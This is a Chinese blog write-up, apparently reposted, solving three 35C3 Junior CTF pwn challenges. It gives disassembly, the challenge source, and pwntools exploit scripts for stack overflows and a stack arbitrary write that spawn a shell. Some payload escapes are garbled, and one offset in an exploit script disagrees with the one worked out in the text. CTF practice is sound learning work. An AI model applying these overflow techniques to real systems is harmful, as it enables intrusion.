内容简介:在被期末预习虐得半死的时候看到35c3的消息就去稍微看看题,结果又被非libc虐哭,在被虐哭后看到还有Junior赛就过去把Junior的pwn题悄咪咪的写了几题,但在做这些题到后面时还是会卡住,所以在这紧张刺激的期末考结束后写一点笔记来记录和复习下,这里先记录下libc非2.27的题目惯例先checksec文件
前言
在被期末预习虐得半死的时候看到35c3的消息就去稍微看看题,结果又被非libc虐哭,在被虐哭后看到还有Junior赛就过去把Junior的pwn题悄咪咪的写了几题,但在做这些题到后面时还是会卡住,所以在这紧张刺激的期末考结束后写一点笔记来记录和复习下,这里先记录下libc非2.27的题目
1996
惯例先checksec文件
➜ 1996 checksec 1996 [*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/1996/1996' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
因为最近在练看汇编题目稍微看了下程序逻辑也不难所以就直接就看汇编分析了
Dump of assembler code for function main: 0x00000000004008cd <+0>: push rbp 0x00000000004008ce <+1>: mov rbp,rsp 0x00000000004008d1 <+4>: push rbx 0x00000000004008d2 <+5>: sub rsp,0x408 0x00000000004008d9 <+12>: lea rsi,[rip+0x188] # 0x400a68 0x00000000004008e0 <+19>: lea rdi,[rip+0x200779] # 0x601060 <std::cout@@GLIBCXX_3.4> 0x00000000004008e7 <+26>: call 0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt> 0x00000000004008ec <+31>: lea rax,[rbp-0x410] 0x00000000004008f3 <+38>: mov rsi,rax 0x00000000004008f6 <+41>: lea rdi,[rip+0x200883] # 0x601180 <std::cin@@GLIBCXX_3.4> 0x00000000004008fd <+48>: call 0x400740 <std::basic_istream<char, std::char_traits<char> >& std::operator>><char, std::char_traits<char> >(std::basic_istream<char, std::char_traits<char> >&, char*)@plt> 0x0000000000400902 <+53>: lea rax,[rbp-0x410] 0x0000000000400909 <+60>: mov rsi,rax 0x000000000040090c <+63>: lea rdi,[rip+0x20074d] # 0x601060 <std::cout@@GLIBCXX_3.4> 0x0000000000400913 <+70>: call 0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt> 0x0000000000400918 <+75>: lea rsi,[rip+0x17a] # 0x400a99 0x000000000040091f <+82>: mov rdi,rax 0x0000000000400922 <+85>: call 0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt> 0x0000000000400927 <+90>: mov rbx,rax 0x000000000040092a <+93>: lea rax,[rbp-0x410] 0x0000000000400931 <+100>: mov rdi,rax 0x0000000000400934 <+103>: call 0x400780 <getenv@plt> 0x0000000000400939 <+108>: mov rsi,rax 0x000000000040093c <+111>: mov rdi,rbx 0x000000000040093f <+114>: call 0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt> 0x0000000000400944 <+119>: mov rdx,rax 0x0000000000400947 <+122>: mov rax,QWORD PTR [rip+0x200692] # 0x600fe0 0x000000000040094e <+129>: mov rsi,rax 0x0000000000400951 <+132>: mov rdi,rdx 0x0000000000400954 <+135>: call 0x400770 <std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt> 0x0000000000400959 <+140>: mov eax,0x0 0x000000000040095e <+145>: add rsp,0x408 0x0000000000400965 <+152>: pop rbx 0x0000000000400966 <+153>: pop rbp 0x0000000000400967 <+154>: ret End of assembler dump.
看一下程序的main我们可以知道这里用cin来读取,如果用c来说就相当与gets也就是一个很明显的栈溢出,接着我们看到lea rax,[rbp-0x410],我们就知道了bufsize=0x410
到了这里我们基本就随便玩了,因为给了执行/bin/sh的函数所以我们直接溢出劫持执行流到spawn_shell函数
Dump of assembler code for function _Z11spawn_shellv: 0x0000000000400897 <+0>: push rbp 0x0000000000400898 <+1>: mov rbp,rsp 0x000000000040089b <+4>: sub rsp,0x10 0x000000000040089f <+8>: lea rax,[rip+0x1b3] # 0x400a59 0x00000000004008a6 <+15>: mov QWORD PTR [rbp-0x10],rax 0x00000000004008aa <+19>: mov QWORD PTR [rbp-0x8],0x0 0x00000000004008b2 <+27>: lea rax,[rbp-0x10] 0x00000000004008b6 <+31>: mov edx,0x0 0x00000000004008bb <+36>: mov rsi,rax 0x00000000004008be <+39>: lea rdi,[rip+0x194] # 0x400a59 0x00000000004008c5 <+46>: call 0x4007a0 <execve@plt> 0x00000000004008ca <+51>: nop 0x00000000004008cb <+52>: leave 0x00000000004008cc <+53>: ret End of assembler dump.
或者用其他的栈溢出方法,因为是简单题就不多赘述了,直接放EXP
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import* context(os='linux',arch='amd64',log_level='debug') #n = process('./1996') n = remote('35.207.132.47',22227) elf = ELF('./1996') sh_addr = 0x0400897 n.recvuntil('?') n.sendline('a'*(0x410+8)+p64(sh_addr)) n.interactive()
poet
➜ poet checksec poet [*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/poet/poet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
简单的运行下程序看看程序的大致逻辑
➜ poet ./poet ********************************************************** * We are searching for the poet of the year 2018. * * Submit your one line poem now to win an amazing prize! * ********************************************************** Enter the poem here: > aaaaaaa Who is the author of this poem? > nepire +---------------------------------------------------------------------------+ THE POEM aaaaaaa SCORED 0 POINTS. SORRY, THIS POEM IS JUST NOT GOOD ENOUGH. YOU MUST SCORE EXACTLY 1000000 POINTS. TRY AGAIN! +---------------------------------------------------------------------------+
大致的就是让你写首诗(gou……)然后程序会给你评个分,最终目标是得到1000000分,接着看下大概的汇编
Dump of assembler code for function main: 0x000000000040098b <+0>: push rbx 0x000000000040098c <+1>: mov ecx,0x0 0x0000000000400991 <+6>: mov edx,0x2 0x0000000000400996 <+11>: mov esi,0x0 0x000000000040099b <+16>: mov rdi,QWORD PTR [rip+0x2016de] # 0x602080 <stdout@@GLIBC_2.2.5> 0x00000000004009a2 <+23>: call 0x400640 <setvbuf@plt> 0x00000000004009a7 <+28>: lea rdi,[rip+0x292] # 0x400c40 0x00000000004009ae <+35>: call 0x400600 <puts@plt> 0x00000000004009b3 <+40>: lea rbx,[rip+0x2016e6] # 0x6020a0 <poem> 0x00000000004009ba <+47>: mov eax,0x0 0x00000000004009bf <+52>: call 0x400935 <get_poem> 0x00000000004009c4 <+57>: mov eax,0x0 0x00000000004009c9 <+62>: call 0x400965 <get_author> 0x00000000004009ce <+67>: mov eax,0x0 0x00000000004009d3 <+72>: call 0x4007b7 <rate_poem> 0x00000000004009d8 <+77>: cmp DWORD PTR [rbx+0x440],0xf4240 0x00000000004009e2 <+87>: je 0x4009f2 <main+103> 0x00000000004009e4 <+89>: lea rdi,[rip+0x345] # 0x400d30 0x00000000004009eb <+96>: call 0x400600 <puts@plt> 0x00000000004009f0 <+101>: jmp 0x4009ba <main+47> 0x00000000004009f2 <+103>: mov eax,0x0 0x00000000004009f7 <+108>: call 0x400767 <reward> End of assembler dump.
main就三个关键逻辑函数(get_poem/get_author/rate_poem),reward函数就是一个getflag的函数就不细分析了
先看下get_poem和get_author的代码
Dump of assembler code for function get_poem: 0x0000000000400935 <+0>: sub rsp,0x8 0x0000000000400939 <+4>: lea rdi,[rip+0x17b] # 0x400abb 0x0000000000400940 <+11>: mov eax,0x0 0x0000000000400945 <+16>: call 0x400610 <printf@plt> 0x000000000040094a <+21>: lea rdi,[rip+0x20174f] # 0x6020a0 <poem> 0x0000000000400951 <+28>: call 0x400630 <gets@plt> 0x0000000000400956 <+33>: mov DWORD PTR [rip+0x201b80],0x0 # 0x6024e0 <poem+1088> 0x0000000000400960 <+43>: add rsp,0x8 0x0000000000400964 <+47>: ret End of assembler dump.
Dump of assembler code for function get_author: 0x0000000000400965 <+0>: sub rsp,0x8 0x0000000000400969 <+4>: lea rdi,[rip+0x2a8] # 0x400c18 0x0000000000400970 <+11>: mov eax,0x0 0x0000000000400975 <+16>: call 0x400610 <printf@plt> 0x000000000040097a <+21>: lea rdi,[rip+0x201b1f] # 0x6024a0 <poem+1024> 0x0000000000400981 <+28>: call 0x400630 <gets@plt> 0x0000000000400986 <+33>: add rsp,0x8 0x000000000040098a <+37>: ret End of assembler dump.
没什么大问题,不过用了gets可能会存在越界写什么的先保留可能
接着看下关键的评分函数
Dump of assembler code for function rate_poem: 0x00000000004007b7 <+0>: push r13 0x00000000004007b9 <+2>: push r12 0x00000000004007bb <+4>: push rbp 0x00000000004007bc <+5>: push rbx 0x00000000004007bd <+6>: sub rsp,0x408 0x00000000004007c4 <+13>: mov rbx,rsp 0x00000000004007c7 <+16>: lea rsi,[rip+0x2018d2] # 0x6020a0 <poem> 0x00000000004007ce <+23>: mov rdi,rbx 0x00000000004007d1 <+26>: call 0x4005f0 <strcpy@plt> 0x00000000004007d6 <+31>: lea rsi,[rip+0x2b4] # 0x400a91 0x00000000004007dd <+38>: mov rdi,rbx 0x00000000004007e0 <+41>: call 0x400660 <strtok@plt> 0x00000000004007e5 <+46>: test rax,rax 0x00000000004007e8 <+49>: je 0x400909 <rate_poem+338> 0x00000000004007ee <+55>: lea rbx,[rip+0x29f] # 0x400a94 "ESPR" 0x00000000004007f5 <+62>: lea rbp,[rip+0x2aa] # 0x400aa6 "eat" 0x00000000004007fc <+69>: lea r12,[rip+0x296] # 0x400a99 "sleep" 0x0000000000400803 <+76>: lea r13,[rip+0x295] # 0x400a9f "pwn" 0x000000000040080a <+83>: jmp 0x40082d <rate_poem+118> 0x000000000040080c <+85>: add DWORD PTR [rip+0x201ccd],0x64 # 0x6024e0 <poem+1088> 0x0000000000400813 <+92>: lea rsi,[rip+0x277] # 0x400a91 "n" 0x000000000040081a <+99>: mov edi,0x0 0x000000000040081f <+104>: call 0x400660 <strtok@plt> 0x0000000000400824 <+109>: test rax,rax 0x0000000000400827 <+112>: je 0x400909 <rate_poem+338> 0x000000000040082d <+118>: mov ecx,0x5 0x0000000000400832 <+123>: mov rsi,rax 0x0000000000400835 <+126>: mov rdi,rbx 0x0000000000400838 <+129>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x000000000040083a <+131>: seta dl 0x000000000040083d <+134>: sbb dl,0x0 0x0000000000400840 <+137>: test dl,dl 0x0000000000400842 <+139>: je 0x40080c <rate_poem+85> 0x0000000000400844 <+141>: mov ecx,0x4 0x0000000000400849 <+146>: mov rsi,rax 0x000000000040084c <+149>: mov rdi,rbp 0x000000000040084f <+152>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x0000000000400851 <+154>: seta dl 0x0000000000400854 <+157>: sbb dl,0x0 0x0000000000400857 <+160>: test dl,dl 0x0000000000400859 <+162>: je 0x40080c <rate_poem+85> 0x000000000040085b <+164>: mov ecx,0x6 0x0000000000400860 <+169>: mov rsi,rax 0x0000000000400863 <+172>: mov rdi,r12 0x0000000000400866 <+175>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x0000000000400868 <+177>: seta dl 0x000000000040086b <+180>: sbb dl,0x0 0x000000000040086e <+183>: test dl,dl 0x0000000000400870 <+185>: je 0x40080c <rate_poem+85> 0x0000000000400872 <+187>: mov ecx,0x4 0x0000000000400877 <+192>: mov rsi,rax 0x000000000040087a <+195>: mov rdi,r13 0x000000000040087d <+198>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x000000000040087f <+200>: seta dl 0x0000000000400882 <+203>: sbb dl,0x0 0x0000000000400885 <+206>: test dl,dl 0x0000000000400887 <+208>: je 0x40080c <rate_poem+85> 0x0000000000400889 <+210>: mov ecx,0x7 0x000000000040088e <+215>: lea rdi,[rip+0x20e] # 0x400aa3 "repeat" 0x0000000000400895 <+222>: mov rsi,rax 0x0000000000400898 <+225>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x000000000040089a <+227>: seta dl 0x000000000040089d <+230>: sbb dl,0x0 0x00000000004008a0 <+233>: test dl,dl 0x00000000004008a2 <+235>: je 0x40080c <rate_poem+85> 0x00000000004008a8 <+241>: mov ecx,0x4 0x00000000004008ad <+246>: lea rdi,[rip+0x1f6] # 0x400aaa "CTF" 0x00000000004008b4 <+253>: mov rsi,rax 0x00000000004008b7 <+256>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x00000000004008b9 <+258>: seta dl 0x00000000004008bc <+261>: sbb dl,0x0 0x00000000004008bf <+264>: test dl,dl 0x00000000004008c1 <+266>: je 0x40080c <rate_poem+85> 0x00000000004008c7 <+272>: mov ecx,0x8 0x00000000004008cc <+277>: lea rdi,[rip+0x1db] # 0x400aae "capture" 0x00000000004008d3 <+284>: mov rsi,rax 0x00000000004008d6 <+287>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x00000000004008d8 <+289>: seta dl 0x00000000004008db <+292>: sbb dl,0x0 0x00000000004008de <+295>: test dl,dl 0x00000000004008e0 <+297>: je 0x40080c <rate_poem+85> 0x00000000004008e6 <+303>: mov ecx,0x5 0x00000000004008eb <+308>: lea rdi,[rip+0x1c4] # 0x400ab6 "flag" 0x00000000004008f2 <+315>: mov rsi,rax 0x00000000004008f5 <+318>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x00000000004008f7 <+320>: seta al 0x00000000004008fa <+323>: sbb al,0x0 0x00000000004008fc <+325>: test al,al 0x00000000004008fe <+327>: jne 0x400813 <rate_poem+92> 0x0000000000400904 <+333>: jmp 0x40080c <rate_poem+85> 0x0000000000400909 <+338>: mov edx,DWORD PTR [rip+0x201bd1] # 0x6024e0 <poem+1088> 0x000000000040090f <+344>: lea rsi,[rip+0x20178a] # 0x6020a0 <poem> 0x0000000000400916 <+351>: lea rdi,[rip+0x283] # 0x400ba0 0x000000000040091d <+358>: mov eax,0x0 0x0000000000400922 <+363>: call 0x400610 <printf@plt> 0x0000000000400927 <+368>: add rsp,0x408 0x000000000040092e <+375>: pop rbx 0x000000000040092f <+376>: pop rbp 0x0000000000400930 <+377>: pop r12 0x0000000000400932 <+379>: pop r13 0x0000000000400934 <+381>: ret End of assembler dump.
这一大段看了半天还是很混乱就去用ida反编译了一下发现还是很乱就换动态调试去理解下这里是做了什么
输了一堆脏数据后发现诗中有’flag’,’CTF’,’capture’,’repeat’的每有其中一个就加100point,但不能直接输入10000个’CTF’,程序会崩,这里稍稍卡了一会,不过在尝试输入了 'a'* 0x100
和’ b'* 0x100
后,返回得到的分数是1650614882,突然出现一个大数让我看到溢出的可能性,调试…………发现这个分数转十六进制是0x62626262,立马意识到这里的author可以直接溢出覆盖poem point的结果!经过简单定位得到偏移量为0x3c,我们把1000000转成十六进制就是0x0f4240,然后直接 'a'*0x3c+'x0fx42x40'
得到的poem point是0x40420f(4211215)并不是想要的point,稍微改一下payload改成小端序的
payload = 'a' * 0x3c + 'x40x42x0f'
,success!
EXP
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import* context(os='linux',arch='amd64',log_level='debug') n = process('./poet') elf = ELF('./poet') n.recvuntil('> ') n.sendline('nepire') n.recvuntil('> ') n.sendline('a'*64+'x0fx42x40') n.interactive()
stringmaster1
➜ stringmaster1 checksec stringmaster1 [*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/stringmaster1/stringmaster1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
在粗略过一遍接近4k行还看得难受得半死的c++汇编后,立即推放弃看汇编,给了源码就直接怼源码
#include <iostream> #include <cstdlib> #include <ctime> #include <vector> #include <unistd.h> #include <limits> using namespace std; const string chars = "abcdefghijklmnopqrstuvwxy"; void spawn_shell() { char* args[] = {(char*)"/bin/bash", NULL}; execve("/bin/bash", args, NULL); } void print_menu() { cout << endl; cout << "Enter the command you want to execute:" << endl; cout << "[1] swap <index1> <index2> (Cost: 1)" << endl; cout << "[2] replace <char1> <char2> (Cost: 1)" << endl; cout << "[3] print (Cost: 1)" << endl; cout << "[4] quit " << endl; cout << "> "; } void play() { string from(10, '0'); string to(10, '0'); for (int i = 0; i < 10; ++i) { from[i] = chars[rand() % (chars.length() - 1)]; to[i] = chars[rand() % (chars.length() - 1)]; } cout << "Perform the following operations on String1 to generate String2 with minimum costs." << endl << endl; cout << "[1] swap <index1> <index2> (Cost: 1)" << endl; cout << " Swaps the char at index1 with the char at index2 " << endl; cout << "[2] replace <char1> <char2> (Cost: 1)" << endl; cout << " Replaces the first occurence of char1 with char2 " << endl; cout << "[3] print (Cost: 1)" << endl; cout << " Prints the current version of the string " << endl; cout << "[4] quit " << endl; cout << " Give up and leave the game " << endl; cout << endl; cout << "String1: " << from << endl; cout << "String2: " << to << endl; cout << endl; unsigned int costs = 0; string s(from); while (true) { print_menu(); string command; cin >> command; if (command == "swap") { unsigned int i1, i2; cin >> i1 >> i2; if (cin.good() && i1 < s.length() && i2 < s.length()) { swap(s[i1], s[i2]); } costs += 1; } else if (command == "replace") { char c1, c2; cin >> c1 >> c2; auto index = s.find(c1); cout << c1 << c2 << index << endl; if (index >= 0) { s[index] = c2; } costs += 1; } else if (command == "print") { cout << s << endl; costs += 1; } else if (command == "quit") { cout << "You lost." << endl; break; } else { cout << "Invalid command" << endl; } if (!cin) { cin.clear(); cin.ignore(numeric_limits<streamsize>::max(), 'n'); } if (!cout) { cout.clear(); } if (s == to) { cout << s.length() << endl; cout << endl; cout << "****************************************" << endl; cout << "* Congratulations " << endl; cout << "* You solved the problem with cost: " << costs << endl; cout << "****************************************" << endl; cout << endl; break; } } } int main() { srand(time(nullptr)); play(); }
程序的大致流程:
1.先初始化一个以时间为种子的随机数
2.随机生成两个string类型的key
3.进入有三个功能的标准菜单循环
4.最终需要把函数劫持到spawn_shell函数(0x4011A7)中getshell
我们可以看到程序中用了一个看上去不那么舒服的find函数
auto index = s.find(c1);
然后我们再看下cplusplus给出的find函数模板和样例
template <class InputIterator, class T> InputIterator find ( InputIterator first, InputIterator last, const T& val );
// find example #include <iostream> // std::cout #include <algorithm> // std::find #include <vector> // std::vector int main () { // using std::find with array and pointer: int myints[] = { 10, 20, 30, 40 }; int * p; p = std::find (myints, myints+4, 30); if (p != myints+4) std::cout << "Element found in myints: " << *p << 'n'; else std::cout << "Element not found in myintsn"; // using std::find with vector and iterator: std::vector<int> myvector (myints,myints+4); std::vector<int>::iterator it; it = find (myvector.begin(), myvector.end(), 30); if (it != myvector.end()) std::cout << "Element found in myvector: " << *it << 'n'; else std::cout << "Element not found in myvectorn"; return 0; }
程序并没有给出find的first和last,那么我们稍微调试一下replace部分就能得到这个可以基本达成栈上的任意写,也就是说只要改play函数的retrun指针指向spwan_shell就可以成功getshell了,由于开始的位置和return指针之间不能保证要改的那个值只有在return指针有,所以我们多修改几次就能成功的修改指针来getshell了
EXP
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import* context(os='linux',arch='amd64',log_level='debug') n = process('./stringmaster1') elf = ELF('./stringmaster1') libc = elf.libc #n.recvuntil('String1: ') #str1 = n.recvline().strip() #n.recvuntil('String2: ') #str2 = n.recvline().strip() for i in range(4): n.recvuntil('') n.sendline('replace x24 x11') for i in range(4): n.recvuntil('') n.sendline('replace x6d xa7') n.sendline('quit') n.interactive()
参考链接
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 【每日笔记】【Go学习笔记】2019-01-04 Codis笔记
- 【每日笔记】【Go学习笔记】2019-01-02 Codis笔记
- 【每日笔记】【Go学习笔记】2019-01-07 Codis笔记
- vue笔记3,计算笔记
- Mysql Java 驱动代码阅读笔记及 JDBC 规范笔记
- 【每日笔记】【Go学习笔记】2019-01-16 go网络编程
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
JavaScript设计模式
Ross Harmes、Dustin Diaz / 谢廷晟 / 人民邮电出版社 / 2008 / 45.00元
本书共有两部分。第一部分给出了实现具体设计模式所需要的面向对象特性的基础知识,主要包括接口、封装和信息隐藏、继承、单体模式等内容。第二部分则专注于各种具体的设计模式及其在JavaScript语言中的应用,主要介绍了工厂模式、桥接模式、组合模式、门面模式等几种常见的模式。为了让每一章中的示例都尽可能地贴近实际应用,书中同时列举了一些JavaScript 程序员最常见的任务,然后运用设计模式使其解决方......一起来看看 《JavaScript设计模式》 这本书的介绍吧!
UNIX 时间戳转换
UNIX 时间戳转换
HSV CMYK 转换工具
HSV CMYK互换工具